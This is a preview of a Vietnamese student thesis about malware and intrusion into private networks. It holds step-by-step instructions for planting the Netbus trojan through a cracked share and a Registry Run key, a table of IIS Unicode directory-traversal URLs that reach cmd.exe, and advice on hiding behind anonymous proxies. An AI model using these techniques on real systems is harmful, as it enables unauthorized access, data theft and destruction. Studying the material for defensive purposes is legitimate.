Tài liệu Đề tài Quá trình tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối Internet: MỤC LỤC
Lời mở đầu
Mục tiêu của việc người ta nối mạng là để nhiều người có thể dùng chung tài nguyên từ những vị trí địa lý khác nhau, chính vì thế mà các tài nguyên sẽ rất phân tán, dẫn đến một diều tất yếu là dễ bị xâm phạm gây mất mát dữ liệu, thông tin.
Càng giao thiệp rộng thì càng dễ bị tấn công, đó là quy luật.
Mọi nguy cơ trên mạng đều có thể nguy hiểm: Một lỗi nhỏ của các hệ thống sẽ được lợi dụng với tần suất cao, lỗi lớn thì thiệt hại lớn ngay lập tức, tóm lại trên một quy mô rộng lớn như Internet thì mọi khe hở hay lỗi hệ thống đều có nguy cơ gây ra thiệt hại như nhau.
Theo CERT (Computer Emegency Response Team):
1989: có 200 vụ tấn công, truy nhập trái phép trên mạng được báo cáo. 1991: 400 vụ.
1993: 1400vụ.
1994: 2241 vụ.
1998: 3734 vụ.
1999: 9589 vụ
2000: 21756 vụ
2003: 137529 vụ
2005: 535000 vụ
Như vậy số vụ tấn công ngày càng gia tăng, mặt khác các kỹ thuật ngày càng mới. Điều này cũng dễ hiểu, một vấn đề luôn luôn có hai mặt đối lập. Công nghệ th...
30 trang |
Chia sẻ: hunglv | Lượt xem: 1149 | Lượt tải: 0
Bạn đang xem trước 20 trang mẫu tài liệu Đề tài Quá trình tìm hiểu phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng có kết nối Internet, để tải tài liệu gốc về máy bạn click vào nút DOWNLOAD ở trên
MỤC LỤC
Lời mở đầu
Mục tiêu của việc người ta nối mạng là để nhiều người có thể dùng chung tài nguyên từ những vị trí địa lý khác nhau, chính vì thế mà các tài nguyên sẽ rất phân tán, dẫn đến một diều tất yếu là dễ bị xâm phạm gây mất mát dữ liệu, thông tin.
Càng giao thiệp rộng thì càng dễ bị tấn công, đó là quy luật.
Mọi nguy cơ trên mạng đều có thể nguy hiểm: Một lỗi nhỏ của các hệ thống sẽ được lợi dụng với tần suất cao, lỗi lớn thì thiệt hại lớn ngay lập tức, tóm lại trên một quy mô rộng lớn như Internet thì mọi khe hở hay lỗi hệ thống đều có nguy cơ gây ra thiệt hại như nhau.
Theo CERT (Computer Emegency Response Team):
1989: có 200 vụ tấn công, truy nhập trái phép trên mạng được báo cáo. 1991: 400 vụ.
1993: 1400vụ.
1994: 2241 vụ.
1998: 3734 vụ.
1999: 9589 vụ
2000: 21756 vụ
2003: 137529 vụ
2005: 535000 vụ
Như vậy số vụ tấn công ngày càng gia tăng, mặt khác các kỹ thuật ngày càng mới. Điều này cũng dễ hiểu, một vấn đề luôn luôn có hai mặt đối lập. Công nghệ thông tin, mạng Internet phát triển như vũ bão thì tất yếu cũng kéo theo nạn trộm cắp, tấn công, phá hoại thông tin trên mạng.
Vì vậy vấn đề tìm hiểu các cách thức mà bọn tội phạm thường sử dụng để tấn công, phá hoại các mạng máy tính dùng riêng khi được kết nối Internet quốc tế là điều quan trọng và cần thiết. Trên cơ sở đó người ta có được biện pháp đề phòng có hiệu quả.
Đề tài: “Tìm hiểu một số phần mềm phá hoại và các giải pháp xâm nhập mạng dùng riêng” được đề xuất và thực hiện nhằm mục đích tìm hiểu một số phần mềm phá hoại và nghiên cứu một số giải pháp xâm nhập mạng dùng riêng hiện đang được ứng dụng rộng rãi. Kết quả nghiên cứu của em gồm 4 chương và phần kết luận.
Chương 1: Một số phương pháp tấn công và kỹ thuật xâm nhập mạng máy tính
Chương 2: Một số nguyên tắc tấn công trên mạng máy tính
Chương 3: Phân tích một số phần mềm mẫu
Chương 4: Một số giải pháp cụ thể tấn công trên mạng máy tính
Trong đó em đã tập trung đi sâu vào 2 chương là chương 3 và chương 4.
Việc tìm hiểu phân tích các giải pháp tấn công trên mạng là vấn đề rất khó khăn, đặc biệt đối với em. Do đó, dù em đã có nhiều cố gắng nhưng một mặt do thời gian và kiến thức của em còn nhiều hạn chế, mặt khác các tài liệu tham khảo lại chủ yếu bằng tiếng Anh và tiếng Pháp cho nên kết quả tìm hiểu, nghiên cứu của em chưa sâu sắc và toàn diện. Em rất mong được sự chỉ bảo của các thầy, cô và các bạn đồng nghiệp. Em xin chân thành cảm ơn.
Sinh viên
Vũ Thị Thu Hằng
Chương 1 MỘT SỐ PHƯƠNG PHÁP
TẤN CÔNG VÀ KỸ THUẬT XÂM NHẬP MẠNG
1.1 Thực trạng tấn công của tội phạm trên mạng
Với sự phát triển mạnh mẽ và sự ảnh hưởng rộng rãi của Internet khiến cho mạng máy tính sinh ra một tầng lớp mới - những tay hacker (là những người có niềm đam mê rất lớn đối với máy tính,với công nghệ thông tin). Hacker được chia làm hai phái: hacker “mũ trắng”(white-hat hacker) và hacker “mũ đen” (black-hat hacker).
Phần lớn các cuộc tấn công trên mạng được thực hiện thông qua việc sử dụng một hoặc nhiều công cụ phần mềm. Trong đồ án này em nghiên cứu các phần mềm phá hoại. Phần mềm phá hoại là những phần mềm được thiết kế, xây dựng nhằm mục đích tấn công gây tổn thất hay chiếm dụng bất hợp pháp tài nguyên của máy tính mục tiêu( máy tinh bị tấn công ). Những phần mềm này thường được che dấu hay ngụy trang như là phần mềm hợp lệ, công khai hoặc bí mật thâm nhập vào máy tính mục tiêu. Những phần mềm phá hoại khác nhau có phương thức và nguy cơ gây hại khác nhau.
Các vụ tấn công trên mạng ngày càng gia tăng cả về quy mô và tính chất nguy hiểm.
Trong tương lai, những kẻ viết virus có thể gia tăng khả năng điều khiển lên virus của mình sau khi đã phát tán chúng trên mạng. Ngày càng nhiều sâu máy tính có chứa backdoor và tác giả của chúng có thể “nâng cấp” một cách trực tiếp để vượt qua các phần mềm diệt virus hay bổ sung thêm tính năng. Hơn nữa, sâu máy tính còn có khả năng tự thiết lập các kênh liên lạc riêng giữa chúng để tập hợp lại và nâng cấp. Điều này không chỉ giúp chúng tránh khỏi sự phát hiện của các chương trình diệt virus mà còn gia tăng đáng kể sức tàn phá.
Ngày nay, vấn đề tấn công trên mạng đã không còn chỉ là “trò chơi” của giới hacker mà nhiều quốc gia đã tận dụng khả năng này phục vụ các vụ đích chính trị, quân sự. Ở nhiều quốc gia, nhất là các quốc gia phát triển, máy tính được ứng dụng ở mọi nơi, mọi lĩnh vực, trong an ninh quốc phòng, vì vậy những khả năng gây phương hại cho đối phương bằng các hoạt động tấn công trên mạng viễn thông - tin học là vô cùng to lớn.
Hiện nay các nước đều có các: “Cục tác chiến điện tử” trên mạng. Hàng năm các nước này đã chi ra hàng trăm triệu USD phục vụ cho việc nghiên cứu này như Trung Quốc, Đài Loan, Hàn Quốc, Thái Lan, v.v…
(Theo tạp chí khoa học Australia, số 9 năm 2005 )
Tấn công trên mạng nhằm vào một hệ thống máy tính ở đây là những hành động nhằm làm ảnh hưởng đến sự ổn định của hệ thống, truy nhập bất hợp pháp đến các tài nguyên của hệ thống, làm sai lệch hoặc lấy hoặc lấy cắp thông tin…
Tấn công trên mạng là vấn đề khó. Việc tấn công có thể thực hiện được hay không có đảm bảo thành công hay không phụ thuộc vào rất nhiều yếu tố.
- Về khách quan, nó phụ thuộc vào hệ thống người ta định tấn công.
- Về mặt chủ quan, nó phụ thuộc vào khả năng của người tấn công.
Các công cụ sử dụng để tấn công là một thành phần hết sức quan trọng. Người ta có thể sử dụng các công cụ có sẵn (vốn đã có khá nhiều ) hay tự tạo ra công cụ mới tuỳ theo mục đích, độ phức tạp và hiệu quả mong muốn.
Để giành thắng lợi trong một cuộc tấn công có rất nhiều khó khăn. Nhưng điều đó là hợp lý bởi đối phương, khi bảo vệ hệ thống của họ, cũng như người ta luôn cố gắng cao nhất để đảm bảo an toàn cho mình. Và khó có thể thành công nếu thiếu đi việc tìm hiểu đối phương và chuẩn bị chu đáo từ phía người ta.
Thường phải sử dụng nhiều phương pháp tổng hợp, kể cả các biện pháp tổ chức lẫn các giải pháp công nghệ. Một số phương pháp tấn công và kỹ thuật xâm nhập mạng quan trọng như sau:
1.2 Các phương pháp tấn công
1.2.1 Tấn công trực tiếp
1.2.2 Nghe trộm
1.2.3 Giả mạo địa chỉ
Hai dạng tấn công dựa trên việc giả mạo địa chỉ là:
- Giả mạo địa chỉ máy gửi (Source addres).
- Kẻ trung gian (Man in the middle).
Vô hiệu hoá các chức năng của hệ thống mục tiêu
Từ chối dịch vụ (DOS – Denial of Service).
- Từ chối dịch vụ mạng (Network denial of service).
1.2.5 Sử dụng lỗi của người quản trị hệ thống
1.3 Các kỹ thuật xâm nhập mạng
1.3.1 Rình mò (Snooping)
1.3.2 Đánh lừa (Spoofing)
1.3.3 Điệp viên (Agent)
Chương 2. MỘT SỐ NGUYÊN TẮC TẤN CÔNG TRÊN MẠNG
2.1 Phát hiện điểm yếu trong cơ chế bảo mật của đối phương.
Muốn thực hiện tấn công thành công một mục tiêu phải tìm hiểu, nghiên cứu rất kỹ mục tiêu đó. Một hệ thống đảm bảo an ninh an toàn máy tính thường bao gồm một số yếu tố chính sau đây:
- Yếu tố tổ chức.
- Yếu tố kỹ thuật, công nghệ.
Mục đích của công tác dò tìm mục tiêu là bằng các biện pháp khác nhau để phát hiện những điểm yếu trong hệ thống bảo mật (về mặt tổ chức và kỹ thuật công nghệ) để quyết định sử dụng giải pháp tấn công hợp lý, để cài cắm “điệp viên” vào máy đối phương.
Mỗi hệ thống máy tính đều có các điểm yếu - các lỗ hổng bảo mật. Dò tìm được các lỗ hổng bảo mật này đã là một bảo đảm quan trọng cho việc thắng lợi của việc tấn công. Tuy nhiên vấn đề rất quan trọng và thiết yếu đặt ra là tìm ở đâu các lỗ hổng đó và bằng cách nào. Có hai hướng tiếp cận, một là về góc độ chiến thuật và hai là từ góc độ kỹ thuật.
Một số diễn đàn trao đổi vầ lỗi bảo mật: diễn đàn Bugtraq ( diễn đàn Tlsecurity ( diễn đàn hackerVN ( …
2.2 Triệt để lợi dụng cửa sau để tấn công.
Cửa sau (Backdoor) là một công cụ phổ biến trong giới hacker. Việc đột nhập vào một hệ thống máy tính nào đó nói chung là rất khó khăn, vì thế sau khi đột nhập người ta muốn để lại một công cụ nào đó giúp dễ dàng xâm nhập trong những lần sau. Backdoor sinh ra là để đáp ứng yêu cầu đó.
Tóm lại Backdoor / Trojan được hiểu như là:
- Một chương trình trái phép (thường núp dưới tên của một chương trình hợp lệ) thực hiện các chức năng mà người sử dụng không biết đến cũng như không mong muốn.
- Một chương trình hợp lệ nhưng bị cài một số đoạn mã bất hợp pháp, các đoạn mã này thực hiện các chức năng mà người sử dụng không biết đến cũng như không mong muốn.
Nguyên tắc hoạt động của Backdoor khá đơn giản: Khi chạy trên máy đích nó cố gắng không gây bất kỳ điều gì khả nghi và âm thầm thường trực trên bộ nhớ, mở một “cổng hậu” cho phép người tấn công kết nối và điều khiển máy đó. Với nguyên lý hoạt động như vậy Backdoor còn được gọi là công cụ quán trị từ xa (RAT Remote Administrastor Tool). Như vậy một Backdoor điển hình gồm hai thành phần:
Thành phần Server nằm trên máy đích.
Thành phần Client nằm trên máy tấn công
Máy tấn công
Máy đích
Giao tiếp bình thường
Back
Back
Giao tiếp cửa sau
Hình 3.1.1:Mô hình hoạt động của backdoor
Tấn công bằng Backdoor cần đặc biệt chú ý hai vấn đề:
Backdoor mạnh phải có thành phần Server nhỏ, gọn, có khả năng thực thi nhiều chức năng với tốc độ cao để tránh gây nghi ngờ.
Server cần có khả năng ngụy trang ẩn nấp kín đáo để không bị phát hiện.
Có vài giải pháp thông dụng để thực hiện:
Thiết kế Backdoor có chức năng sửa những tham số dòng lệnh của chính nó để khi chạy mang một tên (hợp lệ) khác.
Backdoor có chức năng sửa một số thường trình trong các thư viện hệ thống để nó không thực hiện mọi tiến trình đang thực thi, trong đó có tiến trình của Backdoor server.
Backdoor được gắn với thường trình điều khiển ngắt khiến nó không hiện trong bảng tiến trình.
Người tấn công có thể sửa nhân hệ điều hành đích để ẩn đi những tiến trình nhất định (trong trường hợp này là tiến trình Backdoor server).
Chức năng của một Backdoor được qui định trong thành phần server. Các chức năng thường gặp là:
Keylogging (bắt trộm phím).
Screen capturing (chụp ảnh màn hình).
Password stealing: Lấy trộm các loại password .
File downloading: Cho phép download một hay nhiều file từ máy mục tiêu.
File uploading: Cho phép upload một hay nhiều file lên máy đích.
Running application (thực thi ứng dụng).
File managing (quản lý file).
Post redirecting (định hướng lại cổng).
Hiện nay trên mạng có rất nhiều loại Backdoor khác nhau và ngày càng được nâng cấp. Một sô danh sách Backdoor điển hình:
Netbus.
Back Orfice.
Ngoài ra còn có các Backdoor khác cũng nguy hiểm không kém như Hack attack, Girlfriend, Netthief, Netspy, NetMonitor, Socket de Trojen (Pháp)…
Tóm lại Backdoor là một công cụ tấn công hữu hiệu có thể khai thác triệt để phục vụ những yêu cầu chiến lược của người ta và cũng là vũ khí nguy hiểm người ta cần đế phòng không để người khác lợi dụng tấn công mình.
2.3 Tận dụng các công cụ sẵn có.
Sử dụng tối đa khả năng của các công cụ là nguyên tắc thiết yếu trong quá trình thực hiện tấn công trên mạng. Các công cụ thường được sử dụng để đơn giản hóa những tác vụ nhất định trong quá trình chung nhằm nâng cao tốc độ, đảm bảo hiệu quả công việc tấn công.
Từ các công cụ do chính hệ điều hành cung cấp tới những công cụ do hãng thứ hai, các nhóm chuyên về bảo mật, các hacker hoặc các tổ chức hacker quảng bá, tất cả đều có thể sử dụng vào cuộc tấn công, miễn là cách khai thác hợp lý, kết hợp các công cụ một cách hiệu quả.
Cách sử dụng các công cụ để cấy Trojan lên một máy khác thông qua chia sẻ tài nguyên trên máy đó. Người ta muốn có một tài liệu quan trọng được lưu ở ổ đĩa D: và không share full ổ đĩa C: ở máy mục tiêu. Tuy nhiên, để thực hiện trao đổi thông tin với các máy khác, ổ đĩa C: được share với mật khẩu, mật khẩu này được thay đổi thường xuyên. Có thể chiếm đoạt các văn bản trên bằng cách trước tiên sử dụng một công cụ bẻ khóa chia sẻ Passware Kit (
Công cụ này bẻ khóa làm việc rất nhanh và hiệu quả, trong phần lớn trường hợp nó sẽ tìm ra mật khẩu chia sẻ tài nguyên trong vòng một vài phút tùy thuộc vào độ phức tạp của mật khẩu.
Sau đó, ta chỉ việc copy file server của Netbus 1.7 (patch.exe) vào thư mục bất kỳ ở ổ C:, giả sử C:\windows\. Tiếp theo để kích hoạt Netbus, ta phải dùng đến dịch vụ Remote Registry Service của Windows để sửa đổi Registry máy đích làm cho file patch.exe tự đông chạy từ lần khởi động tiếp theo. Khi dịch vụ này được cài đặt trên máy đích, ta có thể sử dụng regedit.exe của Windows để nạp và sửa đổi Registry máy đó. Thêm vào đó một khóa ở HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run hoặc HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version\Run để chạy patch.exe: Value type: String
Value name: Patch
Value đặt C:\windows\patch.exe
Lần sau khi máy mục tiêu hoạt động, chúng ta chạy Netbus client trên máy mình, connect vào và làm được rất nhiều điều theo khả năng của Netbus server.
2.4 Khai thác tối đa điểm yếu của mục tiêu tấn công đặc biệt các lỗ hổng của hệ thống và các dịch vụ.
Lỗ hổng bảo mật là những lỗi trong một hệ thống mà người khác có thể tận dụng để thực hiện những công việc vốn không được hệ thống đó cung cấp và thường là dùng vào mục đích tấn công. Trên thực tế, từ hệ điều hành, trình duyệt Web, các hệ cơ sở dữ liệu, thậm chí ngay cả chương trình diệt virus, tất cả ít nhiều đều có lỗi.
Bảng liệt kê một số sản phẩm có nhiều lỗ hổng nhất.
STT
Tên sản phẩm
Số lỗ hổng bảo mật
1
Microsoft Internet Explore
69
2
Microsoft Windows 98
35
3
Microsoft Windows 95
30
4
Microsoft Outlook
28
5
Netscape Navigator
22
6
Microsoft Outlook Express
16
7
Microsoft Windows ME
10
8
Microsoft Excel
10
9
Microsoft Word
9
10
Qualcomm Eudora
8
11
Symantec Norton Anti Virus
7
12
AOL instanl Messenger
6
13
Mirabilis ICQ
6
14
Sun Java
5
15
Microsoft Powerpoint
5
Hình 2.3.1: Danh sách một số phần mềm nhiều lỗ hổng bảo mật nhất
(Nguồn: www.securityfocus.com tháng 11/2001)
Trong đồ án này em xin trình bày cụ thể phương pháp tấn công IIS server bằng cách lợi dụng lỗi Unicode: Có thể xem nội dung ổ đĩa C: trên đó cài IIS server 5.0 bằng URL sau khi gõ ở thanh address của trình duyệt, giả thiết rằng địa chỉ trang web đó là mặc dù vẫn có một thông báo lỗi CGI:
Cũng như rất nhiều loại web server trước đây như Compaq insight Manager 4.x, MS Index Server 2.0, HP JetAdmin 5.6,… IIS server bị mắc một lỗi gọi là “dot dot directory traversal attack” (tấn công bằng cách lần ngược thư mục do lỗi “dot dot”). Khi một trong các loại server trên nhận một xâu URL có chứa các xâu con “../” (hoặc “..\” tùy loại server) thì mỗi xâu con này chuyển đường dẫn hiện thời ở server lên mức cha của nó (tương đương với câu lệnh “cd..” của DOS) và dần dần ra ngoài thư mục web - điều này vốn không hợp lệ. Kết hợp với một đường dẫn thích hợp phía cuối URL, nó cho phép người tấn công thực thi lệnh nào đó trên máy chủ web. IIS server và một số web server sửa lỗi bằng cách kiểm tra URL ở thanh địa chỉ của trình duyệt và từ chối, không cho phép thực thi nếu như trong đó chứa xâu con “../” hay “..\”.
Tuy vậy, hacker đã sáng tạo ra thủ thuật dùng unicode để lọt qua chế độ phòng vệ này. Chuẩn unicode từ Ver. 2.0 trở lên cho phép một ký tự có nhiều mã hóa khác nhau, đây chính là nơi để lợi dụng.
Cách mã hóa như vậy được gọi là mã hóa unicode rất dài (unicode very long representation). Khi nhận một URL, một server tốt phải ngăn chặn các cách mã hóa dài này mà chỉ cho phép một cách mã hóa chuẩn. Tuy nhiên, IIS lại không làm như vậy, khi nhận một URL trước tiên nó kiểm tra sự tồn tại trực tiếp của các xâu con “/”, “\” và các mã hóa Unicode thông thường (ứng với một biểu diễn unicode ngắn nhất) của các xâu con ấy. Nếu tồn tại các xâu như vậy, IIS sẽ từ chối truy nhập đó – đây chính là cách mà IIS tự bảo vệ trước kiểu tấn công “dot dot directory traversal attack”. Ngược lại, IIS sẽ thực hiện yêu cầu trong URL đó và lúc này IIS mới giải mã các mã hóa dài của ký tự gạch chéo (slash “/” và backslash “\”) trong URL và tất nhiên, chúng trở thành các ký tự “/” và “\” mà IIS không kiểm tra được nữa. Do vậy, thay vì đưa xâu con “../”, “..\” vào thanh địa chỉ, người ta thay nó bởi xâu unicode chứa một đoạn mã hóa rất dài của ký tự “/” “\” như “%c1%1c”, “..c0%f9”, “..e0%80%af%”, “..%fc%80%80%80%80%af”,…thì IIS sẽ bị đánh lừa và cho rằng đó là một URL hợp lệ, được quyền thực thi. Kết hợp với những thiết lập cài đặt ngầm định trên máy đích, đây chính là cách thức thi hành những lệnh của người ta mà server vẫn cho là hợp lệ.
Do “%c1%1c” là một biểu thức unicode rất dài của ký tự “/” mà IIS không nhận ra, dòng lệnh trên giành được quyền thực thi. Khi thực thi, xâu “%c1%1c” được dịch trở lại nguyên dạng ký tự “/” (nhưng IIS đã qua khâu kiểm tra nên không thực hiện kiểm tra lại ) và địa chỉ truy cập thực chất trở thành:
Đến đây, lỗi kinh điển “dot dot directory traversal attack” xuất hiện và nằm ngoài khả năng tự bảo vệ của IIS. URL trên với hai xâu con “../” điều chỉnh thư mục chứa URL ( theo ngầm định là: C:\inetpub\scripts) lên hai mức thư mục cao hơn, tức là ra ngoài thư mục giành cho web (vốn không được phép), trở về thư mục gốc C:. Phần tiếp theo trong URL gắn tiếp vào đường dẫn đến trình thông dịch lệnh của Windows NT theo chế độ ngầm định (winnt/system32/cmd.exe) và thực hiện lệnh “dir C:\” liệt kê nội dung ổ đĩa C:.
Do có nhiều cách biểu diễn dạng Unicode rất dài của ký tự “/” và “\” cũng như có khá nhiều thiết lập ngầm định khi cài đặt Windows NT và IIS nên tổ hợp chúng lại sẽ tạo nên nhiều URL khác nhau dùng để xâm nhập. Bảng dưới đây liệt kê một số URL phổ biến:
STT
URL
1
/scripts/..%0%af../winnt/system32/cmd.exe?/c+
2
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+
3
/scripts/..%c1%fc../winnt/system32/cmd.exe?/c+
4
/scripts/..%c0%9c../winnt/system32/cmd.exe?/c+
5
/scripts/..%c0%9f../winnt/system32/cmd.exe?/c+
6
/scripts/..%c1%9a../winnt/system32/cmd.exe?/c+
7
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+
8
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+
9
/scripts/..%e0%af../winnt/system32/cmd.exe?/c+
Hình 2.3.2. Một số URL dùng khai thác lỗi Unicode trên IIS
Bằng cách trên, người ta đang nắm rất nhiều quyền đối với hệ thống. Người ta có thể xem nội dung đĩa, nội dung một số file quan trọng, xóa dữ liệu trên đĩa cững và thậm chí format lại ổ đĩa chỉ bằng các lệnh của DOS. Tiếp tục sử dụng URL trên, để xem nội dung một file, giả sử autoexec.bat ta gõ ở trình duyệt:
.bat
Để format lại ổ đĩa C:, ta gõ:
Ta cũng có thể chiếm quyền ghi đĩa và thực hiện sửa đổi, tạo mới file trên server. Truy cập trực tiếp bằng cmd.exe không cho phép điều này nhưng nếu ta tạo một bản sao khác của trình thông dịch và sử dụng bản sao này thì điều đó lại được cho là hợp lệ. Thực hiện chiến thuật này thông qua các lệnh sau :
+ Bước 1: Tạo một bản sao mới cmd1.exe của trình thông dịch lệnh DOS:
+ Bước 2: Ghi thêm một số lệnh vào file autoexec.bat:
>>+c:\autoexec.bat+@echo+Hihihi,KO
Đến đây, người ta đã hiểu bản chất của lỗi unicode trên IIS và phương pháp cụ thể để khai thác lỗi này. Cần phải nhấn mạnh rằng đây là một lỗi bảo mật rất nghiêm trọng vì các lý do sau:
+ Dễ dàng khai thác.
+ Tiềm ẩn nguy cơ người tấn công có toàn quyền điểu khiển hệ thống.
Hiện nay Microsoft đã đưa ra các bản patch sửa lỗi trên. Với IIS server 4.0, bản sửa lỗi được phân phối qua địa chỉ:
Còn với IIS server 5.0, địa chỉ sửa lỗi là:
Nguyên tắc an toàn.
Nhiệm vụ của người ta khi tấn công là không để đối phương biết được gói tin gốc, hay địa chỉ nguồn gói tin không phải địa chỉ máy của người ta. Một phương pháp đơn giản và hiệu quả là sử dụng các procxy vô danh (Anonymous Proxy Server).
Hình 3.5.1: Mô hình giao tiếp giữa hai máy thông qua proxy.
Máy của ta
Proxy
Máy đối phương
Gửi yêu cầu
Trả lời
Gửi yêu cầu
Trả lời
Để luôn có những thông tin về các proxy miễn phí, có thể thường xuyên truy cập các trang web hoặc
Ngoài ra, có thể sử dụng một số chương trình nhằm tạo ra các proxy ảo ngay trên máy của mình. Một chương trình tiêu biểu trong số đó là chương trình Anomity 4 proxy.
Nguyên tắc phối hợp tấn công
Khám phá điểm yếu, lỗ hổng bảo mật trong hệ thống mục tiêu
Sử dụng các công cụ để khai thác các điểm yếu của hệ thống mục tiêu
Tiến hành các biện pháp tấn công, thu thập thông tin
Tạo đường ngầm (cửa sau),
cài cắm “điệp viên” nếu có thể
Xóa dấu vết
Ngụy trang
Hình 3.6.1: Sơ đồ thứ tự áp dụng các nguyên lý tấn công
Trong quá trình thực hiện tấn công, tuỳ theo đối tượng tấn công và công cụ có trong tay, người ta có thể sử dụng nhiều biện pháp khác nhau, theo các trình tự khác nhau để đạt được kết quả cao nhất. Sơ đồ sau thể hiện thứ tự điển hình của việc áp dụng các nguyên lý đã trình bày vào việc thực hiện một cuộc tấn công cụ thể:
Chương 3. PHÂN TÍCH MỘT SỐ PHẦN MỀM MẪU
3.1 NETBUS
3.1.1 Khái niệm
Netbus là một công cụ quản trị, điều khiển từ xa máy tính mục tiêu (máy cần tấn công) trong cùng mạng hoặc trên Internet.
3.1.2 Cấu trúc
Netbus gồm hai phần: Thành phần server và thành phần client.
1. Thành phần server, Patch.exe , cài trên máy mục tiêu.
2. Thành phần client, Netbus.exe, chạy trên máy của người ta (máy tấn công)
3.1.3 Các bước sử dụng
Bước 1: Khởi động
Bước 2: Kết nối
Bước 3: Thực hiện các chức năng
Màn hình giao diện của thành phần client (netbus.exe)
3.1.4 Hướng dẫn sử dụng
Điều khiển truy nhập thành phần server – Server admin
2. Đóng mở ổ đĩa CD - ROM – Open/Close CD-ROM
3. Hiện ảnh – Show Image
4. Thay đổi chức năng các phím chuột – Swap mouse
5. Thi hành chương trình trên máy mục tiêu – Start program
6. Hiện hộp thoại – Msg manager
7. Xem màn hình máy server – Screendump
8. Xem thông tin máy mục tiêu – Get info
9. Chạy file nhạc – Play sound
10. Điều khiển máy mục tiêu – Exit windows
11.Gửi thông báo – Send texts
12. Kích hoạt/Đóng cửa sổ - Active windows
13. Đặt vị trí con trỏ chuột – Mouse pos
14. Nhận phím nhập vào của người dùng trên máy mục tiêu – Listen
15. Ghi âm thanh từ máy mục tiêu – Sound system.
16. Điều khiển chuột - Control mouse
17. Mở một trang Web – Go to URL
18. Điều khiển bàn phím – Key Manage
- Chọn Disable keys để nhập vào các phím cần vô hiệu hóa, khi đó sẽ xuất hiện cửa sổ sau:
19. Làm việc với các file – File manage
3.2 WS_Ping ProPack (
WS_Ping ProPack là một tập hợp các công cụ chuẩn đoán và thông tin mạng Internet.
Info cung cấp thông tin (bao gồm tên máy chủ, địa chỉ IP, thông tin liên hệ, tính hiệu quả của mạng) về một máy chủ hay một thiết bị mạng cụ thể.
Time đồng bộ hóa đồng hồ máy tính cục bộ của bạn với thời gian của server từ xa và để cho bạn truy vấn thời gian của những server và so sánh những kết quả đó.
HTML là một công cụ chuẩn đoán để cho bạn truy vấn địa chỉ trang web (URL) và có thể xem được đầy đủ thông tin về phần header và dữ liệu trang trở lại bởi server HTTP.
Ping là một công cụ chuẩn đoán mạng để xác nhận kết nối đến hệ thống đặc biệt trên mạng.
Traceroute là công cụ chuẩn đoán mạng để bạn dò theo và nhìn thấy hướng đi thực của một gói tin IP tới máy chủ trên mạng Internet.
Lookup truy vấn những server miền trên Internet để đưa ra thông tin về host và những server tên miền khác.
Finger truy vấn một số server trên Internet để có thông tin về user đã đăng ký trên server đó (cung cấp một Finger server đang chạy trên host từ xa).
Whois truy vấn cơ sở dữ liệu tại NICs (Network Information Centers) về thông tin trên các mạng, các host, user của bất cứ tổ chức nào đã đăng ký với NIC.
LDAP truy vấn những thư mục mà sử dụng chuẩn LDAP trên Internet. Rất nhiều tổ chức sử dụng LDAP để tạo nên thông tin về user (như các tên và địa chỉ thư điện tử) có thể trên Internet và Intranet của họ.
Quote đưa ra những trích dẫn từ Quote server.
Scan tìm kiếm một mạng cụ thể và liệt kê các host dùng TCP/IP mà nó tìm thấy. Scan cũng có thể xác định các dịch vụ (như FTP, HTTP) trên mỗi host và liệt kê những cổng hoạt động trên mỗi host. Scan có thể đưa ra một tóm lược nhanh chóng về cái gì trên mạng của bạn và dịch vụ mạng nào đang chạy.
SNMP truy vấn những giá trị trên những thiết bị thực hiện giao thức quản lý mạng đơn giản (Simple Network Management Protocol). SNMP có thể cung cấp một cái nhìn gần nhất về các host và các thiết bị trên mạng của bạn bởi việc cung cấp thông tin trạng thái và cấu hình về hệ thống hiện thời.
WinNet quét mạng cục bộ của bạn và liệt kê các thiết bị mạng Microsoft Windows và các nguồn tài nguyên chia sẻ.
Throughput kiểm tra tốc độ truyền dữ liệu gữa máy tính của bạn và máy tính từ xa.
About hiển thị thông tin mạng về máy tính cục bộ của bạn và mạng cục bộ của bạn, cũng như thông tin về WS_Ping ProPack.
Chương 4. MỘT SỐ GIẢI PHÁP CỤ THỂ TẤN CÔNG
TRÊN MẠNG MÁY TÍNH
4.1 TẤN CÔNG MÁY MỤC TIÊU BẰNG CÁCH GIÀNH QUYỀN ĐIỀU KHIỂN HỆ THỐNG ĐÓ.
Để nắm quyền điểu khiển server, người ta phải chiếm được quyền download và upload file. Muốn thực hiện điều này, ta cấn tìm hiểu trước hết về một số giao thức sử dụng trong quá trình giao tiếp mạng đủ để hiểu và ứng dụng vào việc tấn công.
4.1.1 Giao thức HTTP
HTTP (HypeTtext Transfer Protocol – giao thức truyền siêu văn bản) là giao thức chuẩn trên mạng toàn cầu cho phép truyền các siêu văn bản với các thẻ (tag) khác nhau. Đây là giao thức hoạt động dựa trên cơ chế yêu cầu/trả lời (request/response). Giao thức HTTP thường được thực hiện thông qua kết nối TCP/IP và không yêu cầu thông tin xác thực, vì vậy nó được coi là một giao thức vô danh. Các phương thức thường xuyên sử dụng trong giao thức HTTP là POST, GET và HEAD.
4.1.2 Giao thức TFTP
TFTP (Trivial File Transfer Protocol – giao thức truyền file đơn giản) được thực hiện trên đỉnh giao thức UDP (User Datagram Protocol). TFTP cho phép trao đổi, di chuyển file trên mạng có sử dụng giao thức UDP. Được thiết kế nhằm vào sự nhỏ gọn và tính dễ sử dụng, TFTP thiếu nhiều đặc trưng của giao thức FTP – giao thức truyền file chuẩn, điều duy nhất TFTP cho phép là đọc ghi file giữa các máy ở xa mà không thể hiện danh sách thư mục hay cung cấp chứng thực quyền cho người sử dụng.
Giao thức TFTP tự mình thực hiện truy cập và cáng đáng việc giải quyết vấn đề quyền hạn đối với các file.
4.1.3 Giao thức NetBIOS
